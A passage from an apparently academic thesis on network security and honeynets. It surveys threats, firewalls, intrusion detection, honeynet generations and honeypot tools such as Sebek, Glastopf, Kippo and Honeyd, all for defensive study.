



















With the rapid increase of technology throughout the world, there has also
been an equally rapid increases in its abuse. Currently, security professional
made some attempts to learn about attacker, however these attempts were lim-
ited in effort and scope. They emphasis on the targeted vulnerability and how
the exploit took advantage of that vulnerability. However, very little attention
was focused on the attackers themselves. IT is necessary to study the black-hat
community’s tools, tactics, and motive and then sharing any lessons learned.
The more you know about your enemies, the better chance you have of de-
fending yourself against them and defeating them. A honeynet is a network
set up with intentional vulnerabilities; its purpose is to invite attack, so that
an attacker’s activities and methods can be studied and that information used
to increase network security. This paper will collect and analyse the attackers
activity, through the honeynet network and normal secured system and it will
identify if there is new attackers activities, that are not detected by the current
security tool are detected.
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Network security is becoming more and more important as people spend more
and more time connected. It involves all activities that organizations, enter-
prises, and institutions undertake to protect the value and ongoing usability
of assets and the integrity and continuity of operations [49]. Network security
is not available as a single product but it is a system that combinies multiple
layers of security. Appropriate network security is achieved when its strategy
is based on identifying threats, analysing the threats, and then selecting ade-
quate security controls to combat them [43].
With the rapid increase of technology throughout the world, there has also
been an equally rapid increases in its abuse. Here we have two examples. The
first is the story of the Sony electronics company. The Sony PSN network and
other affiliated websites have recently been seriously breached by attackers
and as a result has caused two on-line gaming services to be taken off-line.
Due to this, Sony now considers offering a reward to help catch the hackers
behind this attack.
The FBI have announced that two members of an activist hacking group of ac-
tivist hackers carried out the attacks that compromised the system and prompted
Sony to shut down two of its online gaming services. A person or people in-
volved with the initial denial-of-service attacks carried out against Sony in
support of a hacker named George Hotz may have gone beyond the bounds
of the action that was intended which was simply to hit Sony’s PlayStation
Gaming Network with more requests for the service than it could handle and
temporarily knock it off the Web [18]
Computer forensic teams confirmed that the intruders had used ”very sophis-
ticated and aggressive techniques to obtain unauthorized access to the servers
and hide their presence from the system administrators”. They were also able
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to delete the log files showing the footprints of where in the system they had
been [18].
The second example is the attack of MasterCard.com. For the most part, dis-
rupting MasterCard.com didn’t impact payment card processing. However,
some MasterCard customers were affected who subscribe to a secondary form
of authentication called SecureCode. This requires that you enter an additional
security code when making online purchases using your credit card. The de-
nial of service against MasterCard’s web presence prevented customers using
this technology and therefore from making online purchases during the attack
[51].
Currently, security professional made some attempts to learn about the attack-
ers, however these attempts were limited in effort and scope [31]. Most of the
information obtained and published was limited to technical write-ups detail-
ing the exploits of the attackers, with the emphasis on the targeted vulnerabili-
ties and how the exploit took advantage of these. However, very little attention
was focused on the attackers themselves [43].
This is quite understandable, as most of the time the only people in a position
to obtain that information were system administrators. They were the individ-
uals on site when the system was compromised, they owned the system, and
they were the only ones with the technical knowledge to understand the at-
tack, However, they did not have the time nor the resources to analyze, learn,
and then document the attack. Instead, their focus was to recover from and
prevent future attacks. They focused on the system vulnerability that was ex-
ploited, and there was little effort to learn who the attacker was or why they
broke in [31].
Since the systems administrator is in charge of network security, and one of its
primary tasks should also be detecting attackers activity and then analysing
the attackers activity. To do this and to secure the network, one must do a
study on how it can be work and defence from any attackers activity. A hon-
eynet a different de-fencing mechanism unlike a firewall and intrusion detec-
tion. It is unique in that it does not solve a specific problem, which is the
case with most traditional security technologies [17]. For example, firewalls
are used to prevent unauthorized access to resources, while intrusion detec-
tion systems (IDS) are used to detect attacks or failures in security. Instead, a
honeynet is a very flexible security tool with several different applications.
A honeynet is a network set up with intentional vulnerabilities; its purpose is
to invite attack, so that an attacker’s activities and methods can be studied and
that information is then used to increase network security [39]. A honeynet has
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been defined as ”a security resource whose value lies in being probed, attacked
or compromised”. It has increasingly been deployed in different information
technology sectors for studying the methods and tools of attackers.
The deployment of a honeynet in a university can offer many advantages. The
first advantage is the possibility to use the data collected as a teaching material
and research tool for any computer related courses. The second, and the more
significant benefit of the honeynet, is that it can serve as network security tool
that can be enabled to create a strong network for the institute. It provides
extensive information on who may have instigated the attack, what was was
compromised, and how it was compromised.
1.1 Motivation
One can understand that, the number of hackers now a days has increased
significantly. They are also creating different new tools from day to day, and
thus, not only are the attackers profiting from the use of these tool for their
own purpose, but also skilled attackers are profiting from sales of the tools as
well. Due to this hackers may not require all the skills this have previously
contributed to the large number of attackers observed in cybercrime [47].
It is therefore necessary to study the black-hat community’s tools, tactics, and
motives and then share any lessons learned. In order to gain these, and in
addition to studying hacker mentality and methodology a honeynet can be
used. The more you know about your enemies, the better chance you have of
defending yourself against them and create greater security for your system.
1.2 Problem Statement
This paper will collect and analyse the attackers activity, through the use of a
honeynet network and also a normal secured system with honeynet (a hon-
eynet system with security tools and firewall). It will attempt to identify if
there are any attackers activities that are not detected by the current security
tools. The paper will also address the matter of whether network administra-
tor should rely on these security tools or not, based on the analysis of data
collected for a given specific time period.
For the purpose of this thesis, we will study network security tool, honeynet
project, data collection tool, and data analysis tools. In order to collect, and
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analysis data, a controlled experimental lab will be set up, where the appro-





Network security refers to any activities designed to protect your network.
Specifically, these activities protect the usability, confidentiality, authentica-
tion, reliability, integrity, and safety of your network and data [10]. From the
above definition of network security, the major technical areas are usually rep-
resented by initials CIA (Confidentiality, integrity, Authentication or Availabil-
ity): Confidentiality means that information cannot be access by unauthorized
parties. Integrity means that information is protected against unauthorized
changes that are not detectable to authorized users. Authentication means
that users are who they claim to be. Availability means that resources are ac-
cessible by authorized parties. Effective network security targets a variety of
threats and stops them from entering or spreading on your network.
2.1.1 Network Security Threats
Threats are actions by adversaries who tray to exploit vulnerabilities to dam-
age assets. There are various ways to identify threats, categorize threats by the
damage done to assets, and also by identify the source of attack, for example
is it direct access to the system or remote attack. The following are top known
threats:
• Viruses: A software virus is a parasitic program written intentionally
to alter the way your computer operates without your permission or




• Spyware: Sends information about you and your computer to somebody
else. Spyware may send the addresses of sites you have visited or worse
still, transmit personal information. With today’s concerns about iden-
tify theft this is a real worry. Spywares such as keyloggers are installed
by the owner of a shared, corporate, or public computer on purpose in
order to secretly monitor other users. Aside from the questions of ethics
and privacy, spyware steals from the user by using the computer’s mem-
ory resources and also by eating bandwidth as it sends information back
to the spyware’s home base via the user’s Internet connection [3].
• Trojans: In computers, a Trojan horse is a program in which malicious
or harmful code is contained inside apparently harmless programming
or data. Trojans are often used to gain backdoor access - that is to say
remote, surreptitious access, to a user’s system. Trojans do not replicate
as viruses do, nor make copies of themselves as worms do.
• Phishing: Phishing is an e-mail fraud method in which the perpetrator
sends out legitimate-looking email in an attempt to gather personal and
financial information from recipients. The e-male directs the user to visit
a web site where they are asked to update personal informations, such
as password, and bank account number.
• Spam: All unsolicited commercial email (UCE) and unsolicited bulk email
(UBE) that a recipient does not want to receive. In addition to wasting
people’s time with unwanted e-mail, spam also eats up a lot of network
bandwidth.
• Adware: Adware is any software application in which advertising ban-
ners are displayed while the program is running. Adware is a legitimate
revenue source for companies who offer their software free to users,
When the adware becomes intrusive like do track your surfing habit,
then we move it in the spyware category and it then becomes something
you should avoid for privacy and security reasons [2].
• Port Scanners: A port scanner is a software applications that enables to
prob a machine for open ports. By monitoring the ports on your com-
puter, you can be alerted when changes are made.
• Superscan: SuperScan can scan a range of IPs looking for TCP and UDP
open ports. It uses multi-threaded and asynchronous techniques result-
ing in extremely fast and versatile scanning. It is a window-only port
scanner, and also it has additional networking tools like ping, traceroute,
HTTP HEAD, WHOIS and more.
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• Angry IP Scanner: It is a tool scan scans IP and port in addition to other
features. It is commonly used by network administrators, and it runs on
Linux, Widows, and Mac OS X. Its binary file size is very small compared
to other IP or port scanners. Angry IP scanner simply pings each IP ad-
dress to check if it’s alive, then optionally it is resolving its hostname,
determines the MAC address, scans ports, etc [1].
2.2 Network Security Tools
2.2.1 P0f
P0f is a versatile passive OS fingerprinting tool. P0f can identify the operating
system on [52]:
• Machines that connect to your box (SYN mode),
• Machies you connect to (SYN+ACK mode),
• Machine you cannot connect to (RST+ mode),
• Machines whose communications you can observe.
P0f does not generate ANY additional network traffic, direct or indirect. No
name lookups, no mysterious probes, no ARIN queries, nothing. In the hands
of advanced users, P0f can detect firewall presence, NAT use, existence of load
balancers, and more!.
2.2.2 Some Hackers tool
With the increased sophistication of intruder tools comes, the critical need for
know their tools. The following are some of the hackers tools:
Distributed Denial-of-Service Tools
Tribe FloodNet 2K (TFN2K) is designed to launch coordinated denial-of-service
attacks from many sources against one or more targets simultaneously. It in-
cludes features designed specifically to make TFN2K:
• Traffic difficult to recognize and filter
• To remotely execute commands
7
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• To obfuscate the true source of the traffic
• To transport TFN2K traffic over multiple transport protocols including
UDP, TCP, and ICMP.
• To confuse attempts to locate other nodes in a TFN2K network by send-
ing ”decoy” packets.
TFN2K is designed to work on various UNIX and UNIX-like systems and
Windows NT. TFN2K obfuscates the true source of attacks by spoofing IP ad-
dresses.
”mstream” Distributed Denial of Service Tool
The purpose of the tool is to enable intruders to utilize multiple Internet con-
nected systems to launch packet flooding denial of service attacks against one
or more target systems. The ”mstream” tool consists of a handler and an agent
portion.
The handler does not require administrative privileges and can function under
a regular user login on a Unix system. The agent crafts forged packet headers
and requires administrative (e.g., root) privileges to function. The handler can
be controlled remotely by one or more intruders using a password-protected
interactive login to a running handler.
Simple commands issued to the handler cause instructions to be sent to agents
deployed on compromised systems. The communications between intruder
and handler, and the handler and agents, are configurable at compile time and
have varied significantly from incident to incident.
2.2.3 Firewall
Firewall is a system that prevents unauthorized access to or from a network.
It can be software or hardware. A packet-filtering firewall is one common ap-
proach to, and one piece of, network security and controlling access to and
from the outside. The purpose of a firewall is to protect what’s on your side of
this gateway from what’s on the other side.
A simple firewall setup is sometimes called a bastion firewall because it’s the
main line of defence attack the outside. Many of your security measures are
8
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mounted from this one defender of your realm. Consequently, everything pos-
sible is done to protect this system [45].
The firewall purpose is to enforce the security policies you defend. These po-
lice reflect the decision you have made about which internet services you want
to be accessible to your computers, which services you want to offer the world
from your computers, which services you want to offer to specific remote use.
A packet-filtering is one common approach to, and one piece of, network se-
curity and controlling access to and from the outside.
Netfilter
Netfilter is the linux kernel-space program code to implement a firewall within
the linux kernel, either compiled directly into the kernel or included as a set of
modules. It enables packet filtering, network address and port translation and
other packet mangling or manipulation. It has three sections [50]:
• Each protocol defines ”hooks”, hooks are well defined points i a packet’s
traversal of that protocol’s stack.
• Kernel module can register to listen at any of the different hooks for each
protocol. The module can tell the netfilter to do accept, drop, stolen
(don’t continue traversal), queue, or repeat (call this hook again).
• Packets that has been queued are collected for sending to userspace.
IPFilter
IPFilter is a software package that can be used to provide network address
translation (NAT) or firewall services. It can uses as a loadable kernel module.
It comes as a part of the following operating systems: FreeBSD, NetBSD, and
Solaris.
2.2.4 Intrusion Detection Systems
Intrusion detection (ID) is a system collects and analyzes information from dif-
ferent area within a network or with in a computer to identify possible security
breaches. It also monitors network traffic and monitors for suspicious activity
and alerts the system or network administrator. In some cases the IDS may
also respond to anomalous or malicious traffic by taking action such as block-
ing the user or source IP address from accessing the network.
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IDS come in a variety of approach the goal of detecting suspicious traffic in
different ways. There are network based (NIDS) and host based (HIDS) intru-
sion detection systems. There are IDS that detect based on looking for specific
signatures of known threats- similar to the way antivirus software typically
detects and protects against malware- and there are IDS that detect based on
comparing traffic patterns against a baseline and looking for anomalies. There
are IDS that simply monitor and alert and there are IDS that perform an action
or actions in response to a detected threat. There are several ways to categorize
an ID system:
• Misuse detection vs. anomaly detection: in misuse detection, the system
looks for specific attack in the database that is already documented. To
have a good misuse detection you should update your database every
time. In anomaly detection, the administrator define the baseline, this
refers to the problem of finding patterns in data that do not conform to
expected behaviour [8].
• Network-based vs. host-based systems: in network-based or NIDS, it
monitors traffic on a network for suspicious activity. It can also scan
system files looking for unauthorized activity and to maintain data and
file integrity. IN host-based systems, HIDS are more focused on the local
machines changing aspect compared to the NIDS.
• Passive system vs. reactive system: in passive system, it can only recog-
nize intrusion and logs the information with an alert, but reactive sys-
tems, it might choose to ignore packets coming from that address as well
as recording the incident as a possible attack.
NID
A large NIDS server can be set up on a backbone network, to monitor all traf-
fic; or smaller systems can be set up to monitor traffic for a particular server,
switch, gateway, or router.
In addition to monitoring incoming and outgoing network traffic, a NIDS
server can also scan system files looking for unauthorized activity and to main-
tain data and file integrity. The NIDS server can also detect changes in the
server core components.
In addition to traffic monitoring, a NIDS server can also scan server log files
and look for suspicious traffic or usage patterns that match a typical network
compromise or a remote hacking attempt.
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The NIDS server can also server a proactive role instead of a protective or reac-
tive function. Possible uses include scanning local firewalls or network servers
for potential exploits, or for scanning live traffic to see what is actually going
on.
Snort is an open source network intrusion prevention and detection system
(IDS/IPS) developed by Sourcefire. Combining the benefits of signature, pro-
tocol, and anomaly-based inspection, Snort is the most widely deployed IDS/IPS
technology worldwide. With millions of downloads and more than 300,000
registered users, Snort has become the de facto standard for IPS [41].
HID
Host-based Intrusion Detection Systems can be used to determine if a system
has been compromised and can warn administrators if that happens. We rec-




• Kernel-based intrusion detection
The first, HIDS implementations that use filesystem monitoring regularly com-
pare files on a machine with previously gathered information about these files,
such as size, owner, and last modification date. This way, if an attacker gains
access to the system and changes files, these changes will be detected. The
second, HIDS, analysing logfiles and determining if intrusion attempts were
logged, an intrusion detection system can warn system administrators about
possible intrusions taking place.
The third HIDS, Connection analysing implementations detect incoming net-
work connections to the host they run on. They do not perform pattern match-
ing and correlation of events directed to different hosts. This is domain of
Network-based IDS implementations, such as Snort. The last method of host
based intrusion detection is kernel based intrusion detection. A kernel based
IDS is an addition to or adaption of a kernel to have the kernel itself detect
intrusions. There are many ways to detect intrusions this way, including:
• Anomaly detection based on a users system usage
• Logging possibly maliciously used system calls
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• Anomaly detection on the order of system calls in processes
• Anomaly detection on the arguments of system calls in processes
• Logging changes made to system binaries
• Logging port scans or probes
2.3 Honeynet
A honeypot is an information system resource whose value lies in unautho-
rized or illicit use of that resource [31]. It is a technology whose value depends
on the bad guys interacting with it. Theoreticlly, a honeypot should see no
traffic because it has no legitimate activity. Honeynets are nothing more than
a high interaction honeypot that provides real systems for attackers to inter-
act with; nothing is emulated. Conceptually honeynets are very simple, they
are a network that contains one or more honeypots. Since honeypots are not
production systems, the honeynet itself has no production activity, no autho-
rized services. As a result, any interaction with a honeynet implies malicious
or unauthorized activity [31].
2.3.1 Types of Honeypots
Honeypots can be divided into two general catagories: Low interaction and
high interaction. the more interaction honeypots allows, the more an attacker
can do with the hoenypot and the more you can learn. But, the more the at-
tacker can do, the greater the risk.
Low-Interaction Honeypots
In Low-Interaction Honeypots, attackers are very limited to what they can do
with the honeypot based on the emulated services. At the most, attackers can
connect to the honeypot and issue a few basic commands. There is no real op-
erating system for the attacker to upload toolkits to, nor are there any services
they should be able to actually break into. Examples of low-interaction Hon-




High-Interaction honeypots are very different from Low-Interaction honey-
pots as they provide entire operating systems and applications for attackers to
interact with [31]. It can capture far more information, including new tools,
communications, or attacker keystrokes. low-interaction honeypots are often
used for production purposes, while high-interaction honeypots are used for
research purposes.
Honeynets are a prime example of high-interaction honeypot. Within hon-
eynet network we place our intended victims, that running real applications.
Then, the bad guys break into these systems on their own initiative. In this
time they do not realize they are within a Honeynet. All of their activity are
captured without them knowing it [44]. This will be done by using a Honey-
wall gateway (which we will discuss later).
2.3.2 Uses of Honeypot
• Preventing attacks: honeypots can defend or prevent automated attacks
by slowing the scanning process, potentially even stopping it. Called
”sticky honeypots,” these solutions monitor unused IP space.
• Detecting attacks: honeypots address many of detection problems (ex-
ample problem of IDS), reducing false positives by capturing small data
sets of high value, and working in encrypted and IPv6 environments.
Low interaction honeypots make the best solutions for detection.
• Responding to attacks: the value of honeypots are able to give quickly in
depth about malicious activity and that helps to rapidly and effectively
respond to an incident. For this to work you need a high interaction
honeypots, because you need to know in-depth knowledge on what the
intruder did, how they broke in, and what tools they are used [31].
• Using honeypots for research purposes: the collected information on
threats, can be useful for analyzing trends, identifying new tools or meth-
ods, identifying attackers and their communities.
2.4 Honeynet Architecture
A honeynet is a specialized network architecture configured in a way to achieve
data control, data capture, and data collection. Data control refers how the
traffic is contained within the honeynet, without the attacker knowing it. Data
capture is logging all the attackers activities, without the attacker knowing it.
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Data collection, captured data is securely forwarded to centralized data collec-
tion point.
One of the key components to the honeynet architecture is the honeynet gate-
way, called a honeywall. Basically, it is the gateway of the Honeynet, but it
is also a firewall, an IPS (Intrusion Prevention System), and a network traf-
fic/system logger [14]. There is a bootable CDROM that makes the implemen-
tation of a Honeynet Gateway easer, simply called the Honeywall CDROM
(which we will discuss detail later).
Based on the way data control, data capture and data collection, honeynet has
evolved across different architecture or generation as outlined below:
2.4.1 Generation I
The architecture was simply with a firewall aided by an IDS as a gateway and
Honeypots placed behind it [4]. The firewall is responsible for data control
and The IDS is responsible for data capturing. The firewall has three interfaces
(external, internal and management). One is used for connecting to the outside
internet, one is connected to the Honeypots, and one is used for management
and log extraction.
Since this architecture have a firewall with an IP address operating at layer 3
(IP), the firewall is visible to attackers, decrease the passing network packet
Time to Live (TTL), and may be probed remotely using its own IP address.
GenI Data Control
GenI data control can be classified in two sections:
• Connection Blocking: this blocking aims to prevent more connectivity
from the honeynet. the more you let the attacker connect to the outside
machines, the more you can learn. However, the more you let them do
that, the more risk you have. So, certain number of connection (5 to
10) out of the honeynet per hour makes intruder happy without alerting
them [4].
• Connection Limiting: limiting the bandwidth of inbound or outbound
connectivity also serves to slow down the attacker’s use of machine,
which simplifies evidence data recording [4].
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Figure 2.1: Generation one honeynet infrastructure.
In GenI, skilled attackers most probably will detect that there is a some system
positioned on the path of their packets from the compromised system to the
outside world, which permits all connection from the outside, and block all
attempts to connect to itself. Thus, such attackers are most likely to be alerted
and leave the honeynet.
GenI Data capture
A reliable data capturing can be achieved by having multiple layers of data
capturing. It is possible to use Snort network intrusion detection system for
capturing or recording all IP packets and also possible to use ’tcpdump’ for
recording all traffic in binary format. The GenI data capturing technology can
be grouped into four different categories:
• Network transaction recording: is provided by firewall or routers. Record-
ing data such as source and destination IP address, protocol, and ports.
• Network traffic recording: is recording network communication in raw
binary format. It will give you more detail on intruder activities. It pro-
vided by ’tcpdump’or other tools.
• Host activity recording: it will record host processes such as application
and and OS log files in addition to attackers activities like keystrokes.
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• IDS alerts: it is the main method of becoming aware of what is going on
in the honeynet. Thus, helps to take an action based on what is going on
in the honeynet.
2.4.2 GenerationII
The problem phased in the GenI Honeynet pushed the development of GenII.
The following were problems in GenI which has got solution in GenII:
• Restricted number of connections from the honeynet, due to this the pos-
sibility of monitoring attacker for along time was low.
• Use of layer 3 communication revealed their existence to the probing
blackhat, thus the risk of becoming possible targets was high.
• Lack solid keystroke logging capability, SSH connection were difficult to
track effectively.
GenII is a more stealthy operation that enables to keep the blackhat longer in
the honeynet. The longer the blackhat stay in the honeynet the more we can
learn from the activity. In this architecture data control and data capturing are
on the same machine (Honeywall). In addition to Honeywall ( the gate way of
the honeypots) GenII contains new keystroke logging machinery running on
both the Honeywall and all the Honeypots.
These technology helps to lower the possibility of Honeynets being detected
by blackhat, lower the risk of losing data, and counteract encrypted commu-
nications on the honeypots. GenII Honeynets are more complex to deploy and
maintain than GenI Honeynets [26].
GenII Data Control
The firewall and the intrusion protection system (IPS) in the gateway controls
the outgoing connections. The Honeywall now turns to its IPS component to
deal with the increased Honeypot outbound traffic, providing the second layer
of data control. GenII data control thus provides a more intelligent protection
mechanism against blackhats attacking public internet systems or local pro-
duction systems from compromised honeypots [31].
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Figure 2.2: Generation two honeynet infrastructure.
Bridging
The Honeywall geteway has three network interfaces, eth0 link to the external
(connects to the internet), eth1 link to the internal (connects to the honeypots)
and eth2 link to the management interface. The forwarding of Ethernet frames
to and from these interfaces is an OSI layer-2 function called bridging.
When transparent bridges are powered on, they learn the workstation loca-
tions by analyzing the source address of incoming frames from all attached
networks [9]. Bridging is by default transparent to internet Protocol (IP) pro-
cessing, which is OSI layer-3 function, these makes that the honeywall is a
stealth device.
Snort-Inline and Iptables
Snort-inline is basically a modified version of Snort that accepts packets from
iptables and IPFW via libipq( libipq is designed to enable a user space pro-
cess to the queue functionality of iptable), instead of libpcap (library to read
packets directly from the network). It then uses new rule types (drop, sdrop,
reject) to tell iptables or IPFW whether the packet should be dropped, rejected,
modified, or allowed to pass based on a snort rule set.
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Think of this as an Intrusion Prevention System (IPS) that uses existing In-
trusion Detection System (IDS) signatures to make decisions on packets that
traverse snort-inline. Alternatively, snort-inline can mutate an attack so that it
becomes ineffective [42].
• Drop: the packet will be dropped by iptables and an alert is logged by
snort-inline.
• Sdrop: the packet will be dropped by iptable but no alert is logged by
snort-inline
• Reject: the packet will be dropped, an RST packet is sent for TCP con-
nections or ICMP unreachable is sent for UDP and ICMP connections by
iptables to terminate the communication. Finally, an alert is generated by
snort-inline. This options works only for gateway operating as a routing
not for bridging gateway (layer 2) like the honeywall.
Here are some of basic rules that describe the overall behaviour of GenII con-
trol [31]:
• Allowing all incoming connections and log all types of log
• Allow with no restrictions all outgoing traffic of type DNS,NTP from the
honeypots.
• Allow all local broadcasts from honeynet.
• Not-allow sebec (which we will discuss detail later)packets to exit the
honeynet and log-optionally.
• Not-allow spoofed packets exit the honeynet and log.
• Apply default policy deny in order to protected in case the data control
methods fail.
GenII Data capture
In general, genII data capturing are similar to that of GenI. But, there are some
improvement has been developed. The most significant improvement is that
we are now able to deal with encrypted blackhat connections to the honeynet
through the use of keystroke capture and stealthy transmission to the honey-
wall for storage. Information will be collected by using different layers: The




The Firewall Logging layer
The Firewall Logging Layer is build on IPTables module of GNU/linux ker-
nel. It will tracks each and every connection to and from the honeynet and is-
sues alert messages for every new connection. It enables to collect information
about important happening like TELNET or FTP connections to the honeypots.
The IDS logging layer
The Firewall logging layer alone is not enough to get complete information
about events taking place in the honeynet. so, IDS check every packet against
with known signature and give alert to the system administrators. The IDS
consists two functions: network traffic sniffing and intrusion detection. The
first will store all the network traffic in binary format that will help for off line
analysis and the second justifies the deployment of intrusion detection [31].
The Honeypots System Logging layer
These data capture allows to recreate the events on a honypot and obtain infor-
mation such as the time of intrusion, how the intruder broke, and what were
his or her action after gaining access. The information will be collected from
the interception of blackhat keystrokes and application and operating system
logs. Keystroke logging deals with encrypted communications, and system
logs depict the state of processes running in a honeypot [31]. All logged data
is sent to he honeywall i a way that is extremely difficult for attacker to notice.
Sebek is the keystroke logger tool, which will be discussed in detail under tool
sections.
2.4.3 GenerationIII
GenIII, it’s purpose is to take GenII, Honeynet and apply them to bootable
CDROM. Which acting as Honeynet gateway, deploys all the requirements
for Honeynets including the ability to log all captured activity to control the
database.
Honeywall CDROM Roo version 1.4 is a bootable CDROM operating system
built on CentOS for installing, deploying and maintaining a Honeynet [4]. The
Honeywall Roo includes security tools like Snort (IDS), Snort-inline (IPS), Tcp-





Sebek is kernel module installed on high-interaction honeypots for the pur-
pose of extensive data collection. It allows administrators to collect activities
such as keystrokes on the system, even in encrypted environments [32]. It is
based on a client-server architecture. The client is installed on the honeypots
and the server is typically deployed on the Honeywall, that is, the honeynet
gateway all the traffic entering and leaving the honeynet passes through. Se-
bek is implemented in the form of a Linux Kernel Module (LKM) on Linux, as
an OS kernel driver on Windows, and as a kernel patch on the various *BSD
operating systems.
The sebek client package captures the keystrokes a user issues to the system as
well as the secure copy (SCP). When a sebek client transmits data onto the net-
work, it ensures that the system cannot block the transmission or even count
the packets transmitted. This is called packet hiding. Sebek does send data by
using UDP, however, before it does this it modifies the kernel in a few ways to
prevent users from seeing these packets. First it modifies the kernel such that
system is unable to see sebek packets, not just the packets generated by the
local host, but any appropriately configured sebek packet.
These packets are generated entirely by sebek to resemble normal UDP pack-
ets; it does not use the stack to generate or send the packets. Due to this, the
system is unable to see or block the packets. The sebek server package runs
on the honeywall. The data will be collected either by extracting from tcp-
dump format or directly sniffing off the honeywall’s interface. The following
illustrates the standard procedure to build and cofigure sebek for linux.
If sebek is installed in the honeypot itself, through the ”make install” com-
mand, it is advisable to remove the sebek source code directory and the two
scripts installed under ”/usr/local/bin”, as was illustrated above, this is to
reduce the traces about sebek’s existence in the honeypot.
As in Linux, a defensive countermeasure is not to keep a copy of the configu-
ration files on the honeypot itself once Sebek has been installed [40].
2.5.2 Glastopf
Glastopf is a Honeypot which emulates thousands vulnerabilities to gather
data from attacks targeting web applications. The principle behind it is very
20
2.5. HONEYPOT TOOLS
simple: Reply the correct response to the attacker exploiting the web applica-
tion [13]. It is a low-interaction web application, it supports multistage attacks,
a vulnerability emulator and list of vulnerable requests, rather than the mod-
ified web app templates used by search engines to attract more attacks over
time.
The main principle of a low interaction honeypot is simple. With most of the
currently available automated honeypots, you just have to start the program,
watch the bad guys attacking you, send the collected files to a sandbox, display
the attack events in a web interface and write a paper about your findings. But
how do we get to this point and what happens behind the curtain? [36].
In principle, this honeypot works like a normal web server. Someone sends
a request to a web server, the request gets processed, maybe something gets
stored into a database and the server returns a response. If the request wasn’t
correct, this could be an error page.
2.5.3 High Interaction Honeypot Analysis Toolkit (HIHAT)
This tool transforms arbitrary PHP applications into web-based high-interaction
Honeypots. Apart from the possibility to create high-interaction honeypots,
HIHAT furthermore comprises a graphical user interface which supports the
process of monitoring the honeypot, analysing the acquired data. Last, it gen-
erates an IP-based geographical mapping of the attack sources and generates
extensive statistics. The number of unique attacks against such a honeypot
seems very low. It appears that the project owners are aiming at capturing
more advanced attacks rather than automated attacks.
It uses modified templates from real web applications to pretend that they are
vulnerable and attractive for attackers.
Features: HIHAT [19]
• automatically scans for known attacks.
• provides an overview mode which allows you to look and scan for new
incidents quickly (semi-automatic mode).
• supports detailed information about all data correlated with every access
to the honeypot. This includes but is not limited to HTTP-GET, HTTP-
POST and COOKIE data.
• saves copies of malicious tools in a secured place for later analysis.
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2.5.4 DShield Web Honeypot Project
The goal of the project is to collect quantitative data measuring the activity
of automated or semi-automated probes against web applications. This Web
Honeypot is made up of 3 elements: a client, a set of templates and a logging
system. All web requests destined for the honeypot are passed to the honeypot
client. The client attempts to match the specific web application requested to
one of the templates installed in the honeypot. If a suitable template is found
then it is sent back to the requester. If there is no template available, a default
web page is returned. In both cases the specific web application request is
logged and sent to a central DShield database [12].
IT also used a version of Glastopf’s vulnerability emulator to handle unknown
requests. Using PHP made this honeypot very easy to deploy and platform
independent.
2.5.5 Google Hack Honeypot
Google Hack Honeypot (GHH)is designed to provide reconaissance against at-
tackers that use search engines as a hacking tool against your resources. GHH
implements honeypot theory to provide additional security to your web pres-
ence. GHH also uses modified templates to detect attacks. However, due to
the lack of a community maintaining and developing new templates, GHH is
only useful to catch attacks targeting older, known vulnerabilities.
2.5.6 Kojoney - A honeypot for the SSH Service
Kojoney is an easy of use, secure, robust and powerfull Honeypot for the SSH
Service written in Python. With the kojoney daemon are distributeds other
tools such as kip2country (IP to Country) and kojreport, a tool to generate re-
ports from the log fi[22].
Kojreport is a shell script to generate plain text reports from the Kojoney Hon-
eypot log files. The generated reports includes statistics about successfull and
unsuccessfull logons logons with null passwords X11 forward requests, com-
mands executeds when connected to the fake shell, intruder’s ip addresses and
country, etc.
2.5.7 Kippo- ssh honeypot server
Kippo is an SSH honeypot that can log brute force attacks, where remote the
remote attempts to guess logon credentials of an SSH server. Best of all, Kippo
is able to record and replay the attackers interactions with the emulated shell
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on the fake SSH server.
It is written in Python and pretty easy to install (the required dependencies are
all listed on the homepage). The only thing which needs a bit of setting up is
getting Kippo to listen to port 22 (we want our honeypot to catch as much as
possible).
2.5.8 Honeyd
This is a low-interaction honeypot used for capturing attacker activity, very
flexible. It is a small daemon that creates virtual hosts on a network. The
hosts can be configured to run arbitrary services, and their personality can be
adapted so that they appear to be running certain operating systems. Honeyd
enables a single host to claim multiple addresses [33]. Honeyd is able to fool
network fingerprinting tools to think they are dealing with a real operating
system ranging from a Windows NT to an AIX box. Even different routers IP
stacks can be emulated.
A configuration file is used to tell honeyd what kind of operating system is de-
sired, how it does respond to closed ports and what kind of service is listening
on which port. Honeyd is capable of binding a script to a network port. The
script can be a standard shell script which simulates a certain service.
2.5.9 HoneyC
HoneyC is a low interaction client honeypot / honeyclient that allows to iden-
tify malicious servers on the web. Instead of using a fully functional operating
system and client to perform this task (which is done by high interaction client
honeypots, such as Honeymonkey or Honeyclient), HoneyC uses emulated
clients that are able to solicit as much of a response from a server that is nec-
essary for analysis of malicious content. HoneyC is expandable in a variety
of ways: it can use different visitor clients, search schemes, and analysis algo-
rithms.
HoneyC consists of three components, Visitor, Queuer, and Analysis Engine.
The Visitor is the component responsible to interact with the server. The Visitor
usually makes a request to the server, consumes and processes the response.
The Queuer is the component responsible to create a queue of servers for the
Visitor to interact with. The Queuer can employ several algorithms to create
the queue of servers (for example crawling, search engine integration). The
Analysis Engine is the component responsible to evaluate whether security
policy have been violated after the Visitor interacted with the server[20].
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2.5.10 Nepenthes - the finest collection
Nepenthes is a low interaction honeypot like honeyd or mwcollect. Low Inter-
action Honeypots emulate known vulnerabilities to collect information about
potential attacks. Nepenthes is designed to emulate vulnerabilties worms use
to spread, and to capture these worms. As there are many possible ways for
worms to spread, Nepenthes is modular.
Nepenthes is quite usefull to capture new exploits for old vulnerabilities. As
Nepenthes does not know these exploits, they will appear in the logfiles. By
running these captures against a real vulnerable machine one can gain new
information about the exploit and start writing an Nepenthes Dialogue.
2.5.11 The MySQL Server
In the previous subsections we discussed tools that use in the honeynet, here
we will discus about MySQL server, because after you finished your honeynet
set up, then next, you should think how data should be collected and stored
for the analysis purpose. MySQL is a relational database management sys-
tem (RDBMS) that runs as a server providing multi-user access to a number of
databases.
MySQL ships with a suite of command-line tools for tasks such as querying the
database, backing up data, inspecting status, performing common tasks such
as creating a database, and many more. Much of MySQLs´ appeal originates
in its relative simplicity and ease of use, which is enabled by an ecosystem of
open source tools such as phpMyAdmin.
2.6 Virtual Honeynet
In the previous sections, we discussed the generation of honeynets. In this
section, we will discuss virtual honeynets, or honeynets that can be deployed
on a single computer system. Virtual honeynet is the idea to combine all the
different physical elements of a honeynet into a single computer, using virtu-
alization software. The advantage of virtual honeynets are reduced cost and
easier management, as everything is combined on a single system. Instead
of taking eight computers to deploy a full honeynet, you can do it with one.
however, this simplicity comes at a cost:
